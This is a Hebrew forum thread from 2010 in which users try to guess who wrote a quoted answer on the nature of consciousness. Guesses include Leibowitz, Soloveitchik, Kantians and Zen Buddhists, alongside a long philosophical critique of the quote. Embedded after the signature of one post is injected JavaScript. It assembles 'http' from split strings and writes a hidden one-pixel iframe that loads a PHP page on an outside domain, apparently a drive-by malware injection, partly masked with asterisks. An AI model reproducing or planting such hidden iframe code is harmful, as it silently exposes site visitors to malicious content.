| נשלח ב-11/5/2010 23:08 |
 |
| |
חידה! מי היא "האישיות המתבקשת" שענתה את התשובה דלהלן.
מברק שקיבל "האישיות המתבקשת" מחבר, ובו נשאל "אתה חי?"
נענה על ידו "אני עדיין מודע"
כשנשאל שוב ע"י אותו חבר "כלומר מודעותך פיזית?"
ענה כדלהלן:
אתה טועה בכל הגדרה שתרצה לתת למודעות.
אין לנו שום ידיעה או סברה על מהי המודעות. לא גופנית לא נפשית ולא כל דבר אחר.
לומר שהמודעות נפשית זה שווה ערך כמו לומר שאת המודעות לא חשים בחוש המישוש. ותו לא.
לומר שהיא שייכת לנשמה זו אמירה ריקה ממשמעות. זה כמו לומר, כוס קפה צריך שולחן כדי שהוא לא יפול אז מחשבה צריכה נפש שהיא לא תיפול.
כמובן שאין לנו שמץ של מושג על המודעות מה היא, לא לקבוע לה קשר ומושג גשמי ולא קשר ומושג רוחני או כל משהו אחר.
המודעות האנושית (והבע"ח)היא מציאות דה-פקטו, שישנה-מערכת של תחושות חויתיות-מודעיות לכל אחד מאיתנו, וכל נסיון להגדירה ולתת לה פרשנות והסבר הוא מגוכך.
שאלת אם אני חי, הבנתי שלא מענין אותך אם עדיין מתבצעת פעילות ביו-כימית במסה הגופנית שלי, אלא אם אני עדיין בר-קשר מודעי-חברתי. לכן עניתי לך שעדיין אני מודע. אולי זה יפסק לפני מות גופי ואולי זה ימשיך אחרי מות גופי. בינתתים לא ידוע לי על מישהו שתיקשר עם מודעות שלא קשורה לגוף . מה זה אומר? כלום.
אנחנו לא יודעים לא מה זה מודעות ולא מה זה גוף. את שניהם הורגלנו שישנם. בלא לדעת מאומה על מהותם.
 |
|
|
|
|
| נשלח ב-11/5/2010 23:31 |
|
| |
הייתי אומר שלייבוביץ' - אבל אף אחד לא היה ביחסי ידידות כל כך קרובים עם לייבוביץ' כדי לשאול אותו בצורה אגבית כזאת: אה, אאאאאחי, מה קורה? חי?
תוקן על ידי רדףהשיג ב- 11/05/2010 23:32:11
|
|
|
|
| נשלח ב-12/5/2010 14:56 |
|
| |
אולי אפשר לתת רמז?
|
|
|
|
| נשלח ב-12/5/2010 15:27 |
|
| |
<dרודף
אני מתיחס רק ליחסי הידידות של ליבוביץ.
סיפר דר' ישראל שייב -אלדד, שהיה בר פלותא קבוע שלו, (היו בניהם ויכוחים מאורגנים ברחבי הארץ,)
-פעם זו היתה צורת בידור מקובלת ונדרשת. פילוסופיה להמונים.
הם נסעו יחד להופעות הללו- ואלדד סיפר כי ליבוביץ בתור אדם פרטי היה דמות שונה לגמרי מליבוביץ הנזעם והכעוס שכולם הכירו, והוא סיפר שהיה מאד מיודד איתו באופן אישי.-
לכן אין זה רחוק מהאפשרות שאכן היו לו ידידים שהרשו לעצמם, דו שיח כזה
תוקן על ידי ירוחםשמ ב- 12/05/2010 15:44:23
|
|
|
|
| נשלח ב-12/5/2010 15:45 |
|
| |
אז אני לא יודע להגיד אם האישיות הוא לייבוביץ' - אבל זה בטוח מישהו קאנטיאני: או קאנט, או לייבוביץ, או הרמן כהן, או הרב סולובייצ'יק או...
|
|
|
|
| נשלח ב-12/5/2010 16:00 |
|
| |
מאידך, כשאני חושב על זה, קאנט ושות' לא היו משתמשים בביטוי " בר-קשר מודעי-חברתי." - הם היו יותר מידי סוליפציסטים בשביל זה. מאידך, אקזיסטנאציאליסטים טיפוסיים היו יותר מידי עמומים כדי לומר משהו כזה ברור. אז זה בטח איזשהו קאנטיאני במאה ה-20 עם השפעות הגליאניות ואקזיסטנציאליסטיות.
לייבוביץ' עדיין הולך, הרב סולובייצ'יק גם כן, מישהו בסגנון...
|
|
|
|
| נשלח ב-12/5/2010 16:43 |
|
| |
יש לחשוב על אדם שלא היה קמצן כי המברק הארוך הזה עלה הרבה כסף, ולא להרבה הוגי דעות היתה הפרוטה מצויה בכיסו.
הסגנון של בקיא במדעים המדויקים כימיה וביאולוגיה גם חשוב בזיהויו הכותב. ואכן ליבוביץ הוא הנראה כרגע לעין כמתאים,
ליבוביץ לא היה אקסיסטנציאליסטי, והרב סולוביציק- סגנון לא מתאים ל רב, -ולא להגותו.
|
|
|
|
| נשלח ב-12/5/2010 16:55 |
|
| |
"ליבוביץ לא היה אקסיסטנציאליסטי"
לא אמרתי אקזיסטנציאליסט - אמרתי " קאנטיאני במאה ה-20 עם השפעות הגליאניות ואקזיסטנציאליסטיות. " וזה אכן תיאור מתאים ללייבוביץ' (למשל רבים דיברו על הקשר בינו לבין לוינס..).
"והרב סולוביציק- סגנון לא מתאים ל רב, -ולא להגותו"
טוב - אתה יודע - גם ללייבוביץ' זה לא ממש מתאים מבחינת סגנון - כאמור לעיל. אבל איננו מכירים את סגנון התכתבותו של הרב עם ידידים...
|
|
|
|
| נשלח ב-12/5/2010 17:31 |
|
| |
אנליטס
ברוך הבא אל הפורום!
הבאת שאלה מעניינת מאד. הציטוט מעניין בהרבה מן החידה. ושאלה מקדימה: האם עלי להבין שכל מה שתואר בדבריך הוא מעשה שהיה וגם ציטוט מדוייק?
בכל אופן, נראה לי שתוכן הניתוח של השאלה "מהי מודעות" והתשובה האפשרית עליה חשוב יותר מאשר זהותו של האומר. וכך זה תמיד, כי הענין באומר הוא צדדי ואישי, והענין בתוכן הוא מחמת ערכו לקידום הידע שלנו.
אחלק את דברי אם כן לשנים. נסיון לעמוד על זהותו של האומר ודיון בתוכן.
א. זהותו של האומר
גם פרטים צדדיים יכולים להיות חשובים. וכאן עמדו על השאלה איך מממנים מברק כמו ארוך. ולדעתי לא קשיא (=אין זה קשה) שרק בחלק הראשון סופר על מברק ובשני על שאלה. מסתבר שבעל פה נאמרו הדברים.
***
במאמר מוסגר יש להעיר על ההבדל בין דיבור לבין כתיבה. כבר אפלטון (אגרת ז' כמדומה) דן בכך שיש דברים שהם באמירה ולא בכתיבה. ולא רק הבעת הפנים וצלצול המשפט אלא האפשרות להתמקד במה שנראה לאומר כמה שהשומע זקוק לו כדי להבין. ואילו הנכתב נאמר למקבל המכתב אך גם, אולי, לדורות. וכפי שמתאר הרמב"ם בהקדמתו למו"נ.
***
אני מוצא הבדל רב בין התוכן של האמירה, שבו אדון בחלק ב', לבין הלשון שהדברים נאמרו בה. האם זו שפת המקור? הרי בשום מקום לא נאמר שחילופי דברים אלו נאמרו בין יהודים. ולטעמי, הדברים מצלצלים מאד כשל חכם זן כלשהו.
ביטויים כמו "קשר מודעי חברתי" בהשוואה ל"פעילות ביו כימית במסה גופנית" מעידים על היכרות עם המדע ועם הפילוסופיה של המדע, אבל עדיין מחברים יחד מה שאינו שייך. שיוך הפעילויות הכימיות והפיזיות והביולוגיות בגוף לתחום אחד הוא אכן מתבקש ונכון וגם מאפיין חוקרים רבים, ובהם גם לייבוביץ. ההנגדה בין תחום הרוח לתחום הגוף היא אחת מהשגיו הנאים לדעתי בחוברת שלו ובמאמרים נוספים.
אבל "קשר מודעי חברתי"? אם "מודעי" מתייחס למודעות הרי זה בתחום הסובייקטיבי. ואילו "חברתי" זה בתחום הבין סובייקטיבי" ומה לזה ולזה? אלו תחומי מחקר שונים.
גם השלילה של הבנת המודעות, למרות שהיא נכונה, היא לדעתי נחרצת מדי. הרי במדע איננו תמיד מחפשים להבין "מה" ובוודאי לא "למה" אלא קשרים. מה גורר מה. כאשר מצאנו כלל שמקשר בין תופעה לתופעה, וכאשר יכולנו לנסח זאת מתמטית, התקדמנו.
בדומה לזה, שאלה מדעית היא: למציאותם של אלו ישים אנו זקוקים להתחייב כדי להסביר את המציאות שאנו מכירים? ומה ניתן לומר על ישים אלו?
וכפי שאיננו יודעים אלקטרון מהו, כך איננו יודעים מודעות מהי, אבל אם ניתן להניח שקיים יש כזה ולבנות סביבו תיאוריה, זו התקדמות - מדעית - עצומה.
השלילה החדה מדי לפי תחושתי של הכרת המודעות גורמת לי לכתוב שהמחבר נראה לי מתחום הזן בודהיזם וכדומה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
|
| נשלח ב-12/5/2010 17:42 |
|
| |
אנליטיס
עתה אני עוסק בחלק ב', ניתוח הטענות שהובאו בתשובה לשאלה.
ציטוט:"אתה טועה בכל הגדרה שתרצה לתת למודעות.
אין לנו שום ידיעה או סברה על מהי המודעות. לא גופנית לא נפשית ולא כל דבר אחר.
לומר שהמודעות נפשית זה שווה ערך כמו לומר שאת המודעות לא חשים בחוש המישוש. ותו לא. "
אני סבור שאלו קביעות מוגזמות.
האמנם אין לנו ידיעה או סברה על המודעות? אם אנו מדברים על מה שמשותף לי ולך ולכל הקוראים כאן, כלומר הכרתנו את התחושות והמחשבות שמפעמות בנו עכשו למכתב או מקרא מילים אלו ובכלל בכל חיינו - אז זה בדיוק מה שאנו מכירים. והאם זו לא ידיעה?
ידיעה שאינה מושלמת אף היא ידיעה שמה.
בוודאי שיש מקום לשאוף לסלק מתוך כלל אמונותינו ונסיוננו עם עצמנו את מה שמטעה בגלל השפה (מילכודים שויטגנשטיין הזהיר מפניהם, למשל), אבל ראשית לא ברור שויטגנשטיין צדק. יש מחלוקת בדבר (אך בוודאי שמותר ואף ראוי לנקוט עמדה כפי שעשה בעל הדברים). ושנית, יותר מכך, מה היה אומר קנט? האם לא היה מציע לנו לזהות את האופן שבו הכרתנו הנעלמת מציגה את העולם ואת עצמנו לפני עצמנו? האם לא היה מזהה כאן קטגוריות, צורות יסוד? אולי לא ניתן לומר מה מקורן, בניגוד למה שסבר הוא עצמו, שהן מעידות על עולם מנטלי מסתורי אך קיים בפני עצמו. אבל ידיעה כלשהי, הכרת אופני ההכרה, ודאי יש כאן.
ציטוט:
"לומר שהיא שייכת לנשמה זו אמירה ריקה ממשמעות. זה כמו לומר, כוס קפה צריך שולחן כדי שהוא לא יפול אז מחשבה צריכה נפש שהיא לא תיפול.
כמובן שאין לנו שמץ של מושג על המודעות מה היא, לא לקבוע לה קשר ומושג גשמי ולא קשר ומושג רוחני או כל משהו אחר.
המודעות האנושית (והבע"ח)היא מציאות דה-פקטו, שישנה-מערכת של תחושות חויתיות-מודעיות לכל אחד מאיתנו, וכל נסיון להגדירה ולתת לה פרשנות והסבר הוא מגוחך".
מדוע זה מגוחך? יתכן שזה לא מוכח ולא תקף לטעון שיש נשמה שבתוכה מתארעים אירועי ההכרה. אז מה? זו עדיין תיאוריה. אפשר שהיא נכונה ואפשר שלא. ודאי שיש לה משמעות. ויש נפקא מינא לתיאוריה לגבי נשמה. אם נבין אותה במובן הסוקרטי, זה מנחם מאד לדעת שגם לאחר מות הגוף הפיזי, והפסקת התהליכים הביוכימיים במסה הגופנית, אני עדיין אשרוד בצורה כלשהי שאיני יכול לדעת מהי.
וכן כותב בעל הדברים.
ציטוט:
"אולי זה יפסק לפני מות גופי ואולי זה ימשיך אחרי מות גופי. "
ציטוט:
"בינתים לא ידוע לי על מישהו שתיקשר עם מודעות שלא קשורה לגוף . מה זה אומר? כלום."
אמירה זו משייכת את המחבר לאותו חוג מאמינים ששוללים לכאורה חיים שאינם בגוף. בכך המחבר לכאורה אינו מה שמכנים "דתי". אחרת לא היה ממהר לפסול דיווחים על נבואה וכיו"ב...
***
אחרי כל זאת אני מוכן להביע ניחוש. השפה הכבדה מכאן, לצד יכולת הניתוח וההכרות עם עולם המדע והפילוסופיה, אם גם באופן חלקי, כל אלו עשויים להעיד על אדם ממוצא חרדי (שלא למד בנעוריו אלא בישיבה ומכאן קשיי השפה) שנפתח לעולם, ואם הוא שולל "מודעות שאינה בגוף" אזי הוא קפץ מבחינה לוגית ממצב של חוסר ידיעה לידיעה שאין. כלומר, יוצא בשאלה?
אולי זה יותר מדי לדייק מכמה מילים.
***נערכו הציטוטים בגופן מודגש כדי להקל על ההבדלה בין הציטוט לבין הניתוח. _________________
שומר פיו ולשונו - שומר מצרות נפשו
******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
תוקן על ידי מיימוני ב- 12/05/2010 17:45:24
תוקן על ידי מיימוני ב- 12/05/2010 17:46:43
|
|
|
|
|
|
| נשלח ב-12/5/2010 20:18 |
|
| |
אני מריח פה לייבוביצ'אי בעל פסימיות וויטגנשטינאית מובהקת.
|
|
|
|
| נשלח ב-12/5/2010 20:39 |
|
| |
אין לי מושג (למרות שזה לא נשמע כמו לייבוביץ ובטח שלא כמו הרב סולובייציק כמו שאמרו פה כמה, אבל נגלה בסוף)
בכל זאת כפי שאמר מיימוני, השאלה עצמה הרבה יותר מעניינת מהחידה.
במידה והמילה "מודע" שוות ערך למילה "תודעה" במקרה הזה, אז אולי אפשר לומר שזה ה"דעת" (ההכרה של הידיעה השכלית). אם הכוונה למה שאדם חווה כקיום, אז אולי זה עצם קיומה של הנשמה.
|
|
|
|
| נשלח ב-12/5/2010 20:51 |
|
| |
למיימוני: יכול להיות שהסרבול אינו במקור אלא בתרגום?
|
|
|
|
| נשלח ב-12/5/2010 22:54 |
|
| |
רדף והשיג
אם זה תירגום, אזי זה משהו, לדעתי, ששייך לזן בודהיזם, כדוגמת כותב שעושה פופולריזציה לנושא, ומשתמש בספקנות שמסתמכת כביכול על אבחנות מן הפילוסופיה של המדע.
מה שחשבתי רק אחר כך: השאלה "מיהו בעל הדברים" מניחה מראש שמדובר באדם ידוע ומפורסם, ואפילו ידוע ומפורסם בין משתתפי הפורום. אפשר שזה רב, או יהודי ידוע בדעותיו. ואפשר שזה מדען, או חוקר או מיסטיקאי שאינו יהודי, אבל זה פחות ירשים את באי הפורום, לכאורה. בין כך וכך, זה צריך להיות אדם יוצא דופן ובולט ששמו הולך לפניו. לצערי, מעבר לאבחנות פשוטות אלו, שכל שרלוק הולמס מתחיל מסוגל להן, איני יודע היכן לחפש.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
| נשלח ב-12/5/2010 23:17 |
|
| |
אם הייתי צריך לבחור מישהו מחברי הפורום להיות בעל הדברים אז הייתי מנחש שזה הרב מיכאל אברהם..
|
|
|
|
| נשלח ב-12/5/2010 23:30 |
|
| |
|
|
|
|
|
